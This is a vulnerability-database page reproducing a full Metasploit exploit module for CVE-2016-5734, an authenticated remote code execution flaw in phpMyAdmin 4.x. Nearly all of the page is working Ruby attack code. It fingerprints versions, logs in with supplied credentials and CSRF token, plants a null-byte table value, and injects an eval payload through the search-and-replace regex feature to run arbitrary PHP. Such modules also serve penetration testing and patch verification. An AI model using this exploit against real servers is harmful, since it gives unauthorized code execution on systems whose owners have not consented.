Lucene search
K

phpMyAdmin 4.x Remote Code Execution Exploit

🗓️ 19 Jun 2018 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 5115 Views

phpMyAdmin Authenticated Remote Code Executio

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'phpMyAdmin Authenticated Remote Code Execution',
      'Description'     => %q{
        phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
        4.6.3 does not properly choose delimiters to prevent use of the preg_replace
        (aka eval) modifier, which might allow remote attackers to execute arbitrary
        PHP code via a crafted string, as demonstrated by the table search-and-replace
        implementation.
      },
      'Author' =>
        [
          'Michal AihaA and Cure53', # Discovery
          'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
        ],
      'License'         => MSF_LICENSE,
      'References'      =>
        [
          [ 'BID', '91387' ],
          [ 'CVE', '2016-5734' ],
          [ 'CWE', '661' ],
          [ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
          [ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
          [ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],
        ],
      'Privileged'  => true,
      'Platform'  => [ 'php' ],
      'Arch'  => ARCH_PHP,
      'Payload' =>
        {
          'BadChars' => "&\n=+%",
        },
      'Targets' =>
        [
          [ 'Automatic', {} ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jun 23 2016'))

    register_options(
      [
        OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
        OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
        OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
        OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
      ])
  end

  def check
    begin
      res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
    rescue
      print_error("#{peer} - Unable to connect to server")
      return Exploit::CheckCode::Unknown
    end

    if res.nil? || res.code != 200
      print_error("#{peer} - Unable to query /js/messages.php")
      return Exploit::CheckCode::Unknown
    end

    # PHP 4.3.0-5.4.6
    # PHP > 5.4.6 not exploitable because null byte in regexp warning
    php_version = res['X-Powered-By']
    if php_version
      vprint_status("#{peer} - PHP version: #{php_version}")

      if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
        version = Gem::Version.new($1)
        vprint_status("#{peer} - PHP version: #{version.to_s}")
        if version > Gem::Version.new('5.4.6')
          return Exploit::CheckCode::Safe
        end
      end
    else
      vprint_status("#{peer} - Unknown PHP version")
    end

    # 4.3.0 - 4.6.2 authorized user RCE exploit
    if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
      version = Gem::Version.new($1)
      vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")

      if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')
        return Exploit::CheckCode::Appears
      elsif version < Gem::Version.new('4.3.0')
        return Exploit::CheckCode::Detected
      end
      return Exploit::CheckCode::Safe
    end

    return Exploit::CheckCode::Unknown
  end

  def exploit
    return unless check == Exploit::CheckCode::Appears

    uri = target_uri.path
    vprint_status("#{peer} - Grabbing CSRF token...")

    response = send_request_cgi({ 'uri' => uri})

    if response.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
    elsif (response.body !~ /"token"\s*value="([^"]*)"/)
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
    end

    token = $1
    vprint_status("#{peer} - Retrieved token #{token}")

    vprint_status("#{peer} - Authenticating...")
    login = send_request_cgi({
      'method' => 'POST',
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_post' => {
        'token' => token,
        'pma_username' => datastore['USERNAME'],
        'pma_password' => datastore['PASSWORD']
      }
    })

    if login.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login.redirect?
      token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
    else
      fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
    end

    cookies = login.get_cookies

    login_check = send_request_cgi({
      'uri' => normalize_uri(uri, 'index.php'),
      'vars_get' => { 'token' => token },
      'cookie' => cookies
    })

    if login_check.nil?
      fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
    elsif login_check.body =~ /Welcome to/
      fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
    end

    vprint_status("#{peer} - Authentication successful")

    # Create random table and column
    rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))
    rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))
    sql_value = '0%2Fe%00'

    vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");

    create_rand_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
                    "+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
                    "(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
      }
    })

    if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
      fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
    end

    vprint_status("#{peer} - Random table created")

    # Execute command
    command = Rex::Text.uri_encode(payload.encoded)

    exec_cmd = send_request_cgi({
      'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' =>{
        'columnIndex' => '0',
        'token' => token,
        'submit' => 'Go',
        'ajax_request' => 'true',
        'goto' => 'sql.php',
        'table' => rand_table,
        'replaceWith' => "eval%28%22#{command}%22%29%3B",
        'db' => datastore['DATABASE'],
        'find' => sql_value,
        'useRegex' => 'on'
      }
    })

    # Remove random table
    vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")

    rm_table = send_request_cgi({
      'uri' => normalize_uri(uri, 'import.php'),
      'method' => 'POST',
      'cookie' => cookies,
      'encode_params' => false,
      'vars_post' => {
        'show_query' => '0',
        'ajax_request' => 'true',
        'db' => datastore['DATABASE'],
        'pos' => '0',
        'is_js_confirmed' => '0',
        'fk_checks' => '0',
        'sql_delimiter' => ';',
        'token' => token,
        'SQL' => 'Go',
        'ajax_page_request' => 'true',
        'sql_query' => "DROP+TABLE+`#{rand_table}`"
      }
    })

    if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
      print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
    end
  end
end

#  0day.today [2018-06-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Jun 2018 00:00Current
1.1Low risk
Vulners AI Score1.1
EPSS0.87019
5115